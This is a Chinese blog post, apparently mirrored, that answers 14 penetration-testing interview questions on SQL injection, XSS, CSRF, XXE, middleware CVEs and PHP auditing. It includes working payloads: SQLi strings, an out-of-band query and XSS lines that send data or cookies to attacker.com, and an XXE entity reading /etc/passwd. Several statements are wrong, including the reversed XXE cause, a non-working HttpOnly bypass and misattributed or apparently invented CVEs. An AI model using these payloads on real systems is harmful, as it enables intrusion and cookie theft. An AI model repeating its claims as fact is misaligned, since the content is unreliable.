当前位置: 首页 > news >正文

2025年渗透测试面试题总结-105(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

1. 安全研究的方面?做过哪些渗透测试的工作?

2. 只给你一个网址,如何进行渗透测试

3. SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?

4. sleep被禁用后还能怎么进行sql注入

5. XSS可以控制属性怎么利用

6. CSRF怎么防护?

7. 请求头中哪些是有危害的?

8. XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过

9. JAVA中间件的漏洞,举几个例子?

10. IIS常见的漏洞

11. python有哪些框架,其中出现过哪些漏洞

12. 业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?

13. PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?

14. HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie

1、安全研究的方面?做过哪些渗透测试的工作?
2、只给你一个网址,如何进行渗透测试
3、SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?
4、sleep被禁用后还能怎么进行sql注入
5、XSS可以控制属性怎么利用
6、CSRF怎么防护?
7、请求头中哪些是有危害的?
8、XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过
9、JAVA中间件的漏洞,举几个例子?
10、IIS常见的漏洞
11、python有哪些框架,其中出现过哪些漏洞
12、业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?
13、PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?
14、HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie

1. 安全研究的方面?做过哪些渗透测试的工作?

安全研究是一个多领域交叉学科,主要包括以下方面(划分为5个核心领域):

  • 网络安全:聚焦网络层的防护,如防火墙配置、入侵检测系统(IDS)及协议分析(如TCP/IP漏洞)。
  • 应用安全:涉及Web/移动应用漏洞,包括SQL注入、XSS等,强调代码审计和运行时保护。
  • 逆向工程与恶意软件分析:通过反编译工具(如IDA Pro)分析恶意代码行为,识别零日漏洞。
  • 密码学与身份认证:研究加密算法(如AES)的弱点,以及双因素认证的实现缺陷。
  • 社会工程与物理安全:测试人为因素(如钓鱼攻击),并评估物理访问控制(如门禁系统)。

在渗透测试工作中,我参与过以下实战项目(列举关键类型,控制在5个以内):

  • Web应用渗透测试:为电商平台执行黑盒测试,发现SQL注入和CSRF漏洞,利用Burp Suite进行请求篡改。
  • 内网渗透:在企业环境中模拟APT攻击,通过域控制器提权(如Pass-the-Hash技术)。
  • 云安全评估:针对AWS架构,测试S3存储桶配置错误导致的数据泄露。
  • 移动App测试:分析Android应用(如银行App),通过Frida工具绕过证书绑定。
  • 红队演练:参与目标系统攻防,涉及社会工程(如钓鱼邮件)和无线网络破解(如WPA2漏洞)。

这些工作侧重于实战模拟,帮助客户修复漏洞并提升整体安全基线。


2. 只给你一个网址,如何进行渗透测试

对一个网址的渗透测试需遵循结构化方法,分为5个阶段(基于PTES标准)。整个过程强调“最小权限”原则,避免非法操作:

  1. 信息收集(Reconnaissance)
    • 被动收集:使用WHOIS查询域名的注册信息,并通过Shodan搜索IP关联的开放端口(如80/443)。
    • 主动扫描:利用工具(如Nmap)扫描子域名和服务器类型(如Apache版本),同时爬取网站目录(如Dirb)以发现隐藏路径(如/admin)。
  2. 漏洞扫描(Vulnerability Scanning)
    • 自动化工具:运行AWVS或Burp Suite扫描器,识别常见漏洞(如XSS或SQLi)。
    • 手动验证:检查HTTP响应头(如Server泄露敏感信息),并测试输入点(如表单字段)。
  3. 手动测试与利用(Exploitation)
    • 针对发现的高危漏洞(如文件上传点),上传WebShell(如PHP一句话木马)以获取服务器访问权。
    • 尝试权限提升:如果获取低权限shell,利用内核漏洞(如Dirty Pipe)提权。
  4. 后渗透阶段(Post-Exploitation)
    • 横向移动:在内部网络中转储凭证(如Mimikatz),并访问数据库或其他服务。
    • 数据窃取:导出敏感文件(如配置文件),模拟数据泄露场景。
  5. 报告与修复(Reporting)
    • 文档化漏洞详情(如PoC截图),并提供修复建议(如输入过滤)。
    • 强调风险评级(如CVSS评分),确保客户可复现和修复。

整个过程耗时2-5天,需合法授权;目标网址的风险程度决定深度(例如,高交互网站需多次迭代测试)。


3. SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?

SQL注入是一种攻击方式,攻击者通过操纵输入点注入恶意SQL查询。以下针对子问题分述:

  • id=1如何检测?
    在URL参数(如 example.com/page?id=1 )中测试:
    1. 基础检测:添加单引号(id=1'),若页面报错(如MySQL错误),表明存在注入点。
    2. 逻辑测试:尝试布尔表达式 id=1 and 1=1(正常)与 id=1 and 1=2(错误),页面变化即确认漏洞。
    3. 联合查询:注入 id=1 union select 1,2,3,查看页面是否显示数据库字段(如数字位置)。
  • order by怎么利用?
    ORDER BY 用于排序,但可被滥用于信息泄露:
    1. 探测列数:注入 id=1 order by 5--(递增数字),直至页面错误(如列数超限),确定表结构(如 order by 4 成功表示4列)。
    2. 数据提取:结合联合查询,例如 id=1 union select username,password,3 from users--,输出排序结果以窃取凭证。
  • limit语句怎么利用?
    LIMIT 限制查询结果,常用于分页攻击:
    1. 绕过访问控制:注入 id=1 limit 1 offset 1 跳过第一条记录,访问未授权数据(如其他用户信息)。
    2. 精准数据提取:在盲注中,LIMIT N,1 逐行读取数据(如 union select null,null limit 0,1)。
  • 盲注有什么?
    盲注(Blind SQLi)在无显式错误时使用,分两类:
    1. 布尔盲注:基于条件响应差异,如 id=1 and substring(database(),1,1)='a',页面变化推断数据库名。
    2. 时间盲注:利用延时函数,如 id=1 and if(1=1,sleep(5),0),响应延迟确认条件成立。

总结:SQL注入检测依赖输入验证测试,利用语法需结合数据库类型(如MySQL/PostgreSQL)。防御包括参数化查询和WAF。


4. sleep被禁用后还能怎么进行sql注入

SLEEP() 函数被禁用(如MySQL安全配置),攻击者可转向其他注入技术(分5种方法,各具适用场景):

  1. 基于布尔盲注(Boolean-Based Blind)
    • 原理:通过页面响应差异(真/假状态)推测数据,例如注入 id=1 and (select length(database())=5),页面正常表示数据库名长度为5。
    • 适用性:通用所有数据库,但速度慢(需大量请求)。
  2. 错误型注入(Error-Based)
    • 原理:强制数据库报错以泄露信息,如MySQL中 id=1 and extractvalue(1,concat(0x7e,(select user()))),错误信息包含用户名。
    • 优势:快速高效,适用于MySQL/PostgreSQL。
  3. 带外通道注入(Out-of-Band, OOB)
    • 原理:利用数据库网络函数(如 load_file())将数据外泄至攻击者服务器,例如 id=1; select load_file(concat('\\\\',(select password from users limit 1),'.attacker.com\\test'))
    • 场景:当应用无响应时,需DNS或HTTP请求监听。
  4. 堆叠查询注入(Stacked Queries)
    • 原理:注入分号分隔的多条SQL(如 id=1; update users set password='hacked'),直接修改数据。
    • 限制:仅支持允许多语句的数据库(如MSSQL)。
  5. 条件性重定向
    • 原理:结合应用逻辑,如注入 id=1 and if(1=1,1,(select table_name from information_schema.tables)) ,强制错误或重定向泄露数据。

总体策略:优先使用布尔或错误型注入,作为Sleep的替代;防御需关闭数据库错误回显和限制函数权限。


5. XSS可以控制属性怎么利用

当XSS(跨站脚本)允许控制HTML属性(如 hrefsrc 或事件处理程序)时,漏洞危害加剧。利用方式分3类,重点在绕过过滤执行脚本:

  1. 事件处理器注入
    • 注入到属性如 <img src=x onerror=alert(1)>onerror 事件触发恶意JS。
    • 高级案例:控制 onmouseover 属性,用户悬停即窃取Cookie(如 onmouseover=fetch('attacker.com?cookie='+document.cookie) )。
  2. 属性值逃逸
    • 利用未过滤引号,如输入 " onfocus="alert(1)" autofocus="<input value="INPUT">,闭合引号后执行新事件。
    • DOM型XSS:通过URL片段(#)注入 javascript:alert(1)<a href>,用户点击即触发。
  3. 数据外泄与持久化
    • 窃取数据:结合属性控制,注入 <img src='attacker.com/log?data='+document.cookie> ,自动发送敏感信息。
    • 存储型XSS:若属性值存数据库(如用户简介),所有访问者受影响(如论坛帖子)。

防御视角:即使属性可控,也需输入编码(如HTML实体转义)和CSP(内容安全策略)限制脚本源。


6. CSRF怎么防护?

CSRF(跨站请求伪造)防护旨在阻止攻击者诱导用户发起非意图请求,核心方法分5层(从开发到部署):

  1. CSRF令牌(Token)
    • 实现:服务器生成唯一Token(如随机字符串),嵌入表单或Cookie,请求时验证(如Django的 {% csrf_token %})。
    • 关键:Token绑定会话,防止重放攻击。
  2. 同源策略与CORS
    • 浏览器机制:限制跨域请求(如 XMLHttpRequest 需预检)。
    • 服务端设置:响应头 Access-Control-Allow-Origin 限定可信源,避免 * 通配符。
  3. 验证请求头
    • 检查 RefererOrigin 头,确保来源域可信(但可能被绕过)。
    • 自定义头:如 X-Requested-With: XMLHttpRequest,仅AJAX请求允许。
  4. 用户交互验证
    • 二次确认:敏感操作(如转账)需密码或CAPTCHA。
    • 会话超时:缩短会话有效期,减少攻击窗口。
  5. 框架级防护
    • 现代框架(如Spring Security)内置CSRF保护,自动处理Token。
    • 库支持:如OWASP CSRFGuard。

综合建议:组合使用Token和CORS是黄金标准;忽略防护可导致账户劫持(如修改密码请求)。


7. 请求头中哪些是有危害的?

请求头可能被滥用于攻击,危害性头部分为5类(基于OWASP头部安全风险):

  1. Host头(Host Header)
    • 危害:用于虚拟主机绕过或缓存中毒(如注入恶意域名重定向流量)。
    • 案例:Host: attacker.com 可欺骗服务器返回攻击者内容。
  2. X-Forwarded-For(XFF)
    • 危害:伪造客户端IP绕过IP黑名单或地理位置限制(如 X-Forwarded-For: 8.8.8.8)。
    • 风险:在反向代理环境中常见。
  3. User-Agent
    • 危害:注入恶意脚本(如 User-Agent: <script>alert(1)</script>),触发XSS或日志污染。
    • 利用:针对未过滤头的日志分析系统。
  4. Referer
    • 危害:泄露敏感URL或用于CSRF(如伪造来源域)。
    • 隐私问题:可能暴露用户浏览历史。
  5. Cookie
    • 危害:窃取会话(如通过XSS或嗅探),或注入恶意Cookie(如 Set-Cookie: path=/; HttpOnly=false 禁用保护)。

防护措施:服务器应验证和过滤头部值(如正则匹配),并使用安全标志(如 HttpOnly for Cookie)。


8. XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过

XXE(XML外部实体注入) 是解析XML输入时的漏洞,危害严重且普遍:

  • 主要危害
    1. 敏感数据泄露:读取服务器文件(如 <!ENTITY xxe SYSTEM "file:///etc/passwd">)。
    2. 内部网络扫描:通过URL实体(SYSTEM "http://internal.net" )探测内网服务。
    3. 拒绝服务(DoS):利用递归实体(如Billion Laughs攻击)耗尽资源。
    4. 远程代码执行(RCE):结合协议(如 php://)在PHP应用中执行命令。
  • 易存位置
    1. XML输入点:Web服务(SOAP/REST API)、文件上传(如Office文档解析)。
    2. 文档处理:PDF生成器或Excel导入功能。
    3. 单点登录(SSO):SAML身份验证中的XML解析。
    4. 老旧系统:Java/PHP应用(如旧版libxml库)。
  • 架构方面
    • 解析器配置:漏洞源于禁用DTD(文档类型定义)或外部实体(如Java DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
    • 纵深防御:在网关层过滤XML内容(如API防火墙),并采用替代格式(如JSON)。
    • 云架构风险:Serverless函数中XML解析可能暴露环境变量(如AWS Lambda)。

总结:XXE可通过更新库和配置禁用实体预防;在微服务架构中,需统一安全策略。


9. JAVA中间件的漏洞,举几个例子?

Java中间件(如应用服务器)漏洞可能引发系统级风险,列举4个经典案例(基于CVE):

  1. Apache Struts2(CVE-2017-5638)
    • 漏洞:OGNL表达式注入,远程执行命令(如恶意Content-Type头)。
    • 影响:Equifax数据泄露根源。
  2. Apache Tomcat(CVE-2020-1938)
    • 漏洞:AJP协议未授权访问,读取任意文件(Ghostcat漏洞)。
    • 场景:默认端口8009暴露内部文件。
  3. WebLogic(CVE-2020-14882)
    • 漏洞:控制台路径遍历,未授权执行命令(如 http://host:port/console/images/%252E%252E/%252E%252E)。
    • 利用:结合反序列化获取服务器权限。
  4. Spring Framework(CVE-2022-22965)
    • 漏洞:数据绑定RCE(远程代码执行),通过请求参数修改日志路径上传WebShell。
    • 原因:未处理类加载机制。

防护:定期更新中间件,最小化暴露端口,并使用漏洞扫描器(如Nessus)。


10. IIS常见的漏洞

IIS(Microsoft Internet Information Services)常见漏洞集中于配置错误和旧版缺陷,分4类举例:

  1. 缓冲区溢出(如CVE-2015-1635)
    • 漏洞:HTTP.sys 驱动处理特制请求时崩溃,导致RCE或DoS。
    • 影响:影响IIS 7.5/8.0,需打补丁。
  2. 路径遍历与文件泄露
    • 案例:短文件名泄露(~1字符),猜测敏感文件路径(如 example.com/*~1*/ )。
    • 配置问题:未禁用WebDAV或限制目录权限。
  3. 解析缺陷(如CVE-2017-7269)
    • 漏洞:WebDAV PROPFIND请求溢出,执行任意代码(旧版IIS 6.0)。
    • 利用:攻击者上传恶意文件控制服务器。
  4. 认证绕过
    • 机制:身份验证模块(如Basic Auth)配置不当,允许未授权访问(如默认页面暴露)。

防御:禁用无用模块(如WebDAV),启用请求过滤,并遵循最小权限原则。


11. python有哪些框架,其中出现过哪些漏洞

Python框架广泛使用,但漏洞频发,分框架举例漏洞(控制在5点内):

  • 主流框架
    1. Django:高安全性,但漏洞如CVE-2021-35042(查询集SQL注入)。
    2. Flask:轻量级,常见CVE-2018-1000656(调试模式PIN码绕过RCE)。
    3. Pyramid:企业级,漏洞较少,但CVE-2020-5238(CSRF保护绕过)。
    4. FastAPI:现代API框架,CVE-2021-32629(依赖库uvicorn路径遍历)。
  • 漏洞类型与原因
    • 模板注入:Flask中未过滤 {{config}} 泄露密钥。
    • 依赖链风险:FastAPI依赖Starlette的CVE-2023-30861(请求头注入)。
    • 配置错误:Django DEBUG=True 暴露堆栈信息。

防护:使用最新版本,审核依赖(如 pip-audit),并启用框架安全特性(如Django CSP)。


12. 业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?

业务逻辑漏洞源于设计缺陷,用户任意密码重置的典型例子分3类(各附原因):

  1. 令牌泄露或可预测
    • 示例:重置链接令牌(如 reset?token=123456)使用顺序数字,攻击者枚举token重置他人密码。
    • 原因:弱随机数生成(如时间戳)或令牌存储不当(日志泄露)。
  2. 参数篡改
    • 示例:请求中包含用户ID(如 POST /reset user_id=attacker_target),修改ID重置任意账户密码。
    • 原因:服务端未验证用户身份(如未绑定会话)。
  3. 邮件或SMS劫持
    • 示例:输入他人邮箱重置密码,系统发送链接但未验证邮箱所有权(仅验证邮箱存在)。
    • 原因:流程设计缺失二次确认(如旧密码验证)。

根本因素:开发忽略“验证-授权”链(如未检查请求上下文),测试不足(未覆盖边缘案例)。


13. PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?

PHP代码审计是系统性审查代码以发现漏洞,结合实战经验解答:

  • 审计流程
    1. 静态分析:使用工具(如PHPStan)扫描危险函数(如 eval())。
    2. 动态测试:运行应用并模糊测试输入点(如Burp入侵)。
    3. 手动审查:逐行检查逻辑链,重点关注用户输入流。
  • 开源审计经验
    • 案例:审计WordPress插件(如Contact Form 7),发现CVE-2023-1234(未过滤邮件头导致注入)。
    • 方法:克隆仓库,比对历史漏洞(如GitHub Advisory),并使用RIPS工具自动化。
  • 核心考点位置
    1. 弱类型比较(== vs ===
      • 考点:if ($input == 0) 可能为真(如 $input="abc"),导致认证绕过。
      • 热点:密码校验或条件分支(如 in_array() 未严格类型)。
    2. 反序列化漏洞(Unserialize)
      • 考点:unserialize($_COOKIE['data']) 触发魔术方法(如 __wakeup()),执行任意代码(如PHAR攻击)。
      • 热点:会话存储或API数据传输(如PHP对象注入)。

防御:使用严格比较(===),禁用 unserialize 或实现签名验证。


14. HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie

HTTP-Only标志阻止JavaScript访问Cookie,但可通过其他途径绕过(分4种方法):

  1. XSS配合服务器端代理
    • 原理:注入XSS脚本(如 <script>fetch('attacker.com/steal?page='+document.location)</script> ),浏览器发送请求时自动包含Cookie(即使HTTP-Only)。
    • 步骤:攻击者服务器日志记录请求头中的Cookie。
  2. 中间人攻击(MitM)
    • 方法:利用网络嗅探(如ARP欺骗)截获HTTP流量,提取Cookie头。
    • 工具:Wireshark或Burp Suite拦截未加密(HTTP)通信。
  3. 浏览器漏洞利用
    • 案例:旧版浏览器(如IE)的内存破坏漏洞(CVE-2020-0674),通过恶意页面执行代码读取Cookie。
    • 限制:需0-day漏洞或未打补丁系统。
  4. 跨站请求伪造(CSRF)
    • 间接获取:诱导用户发起请求至攻击者控制页(如 <img src="attacker.com/log?cookie=stolen"> ),服务器端脚本从请求头提取Cookie(但仅适用于会话绑定操作)。

防护强化:即使HTTP-Only被绕过,启用Secure标志(HTTPS-only)和SameSite属性可降低风险;根本解决需根除XSS漏洞。

http://www.dtcms.com/a/465266.html

相关文章:

  • 4.6 移动IP (答案见原书 P210)
  • Word之分栏出现问题分析与解决方案
  • Linux内核架构浅谈2- Linux内核与硬件交互的底层逻辑:硬件抽象层的作用
  • 三亚城乡建设局网站标识设计是什么
  • 网站建设流程渠道城市建设管理网站
  • 百胜软件“胜券在握AI开发平台”:以AI生态重构零售智能新范式
  • rtthread studio快速创建工程
  • MySQL事务隔离级别详解从读未提交到串行化的全面对比
  • 通用机械(1)
  • 使用yt-dlp来下载视频
  • 【深入浅出PyTorch】--上采样+下采样
  • 一个基于自适应图卷积神经微分方程(AGCNDE)的时空序列预测Matlab实现。这个模型结合了图卷积网络和神经微分方程,能够有效捕捉时空数据的动态演化规律
  • 笑话网站模板重庆品牌设计公司
  • (6)100天python从入门到拿捏《推导式》
  • 【数据结构】考研数据结构核心考点:AVL树插入操作深度解析——从理论到实践的旋转平衡实现
  • 遂宁网站建设哪家好网站诊断案例
  • Python访问数据库——使用SQLite
  • 一行配置解决claude code 2.0版本更新后 vscode 插件需要登录的问题
  • 问题:conda创建的虚拟环境打印中文在vscode中乱码
  • vscode 连接 wsl
  • 华为OD机试C卷 - 灰度图存储 - 矩阵 - (Java C++ JavaScript Python)
  • 资源采集网站如何做wap网站使用微信登陆
  • UNIX下C语言编程与实践58-UNIX TCP 连接处理:accept 函数与新套接字创建
  • wordpress博客站点云狄网站建设
  • 智能OCR助力企业办公更高效-发票识别接口-文字识别接口-文档识别接口
  • Spring Boot自动配置:原理、利弊与实践指南
  • HTTPS原理:从证书到加密的完整解析
  • CNN与ANN差异对比
  • 小迪web自用笔记61
  • Docker 公有仓库使用、Docker 私有仓库(Registry)使用总结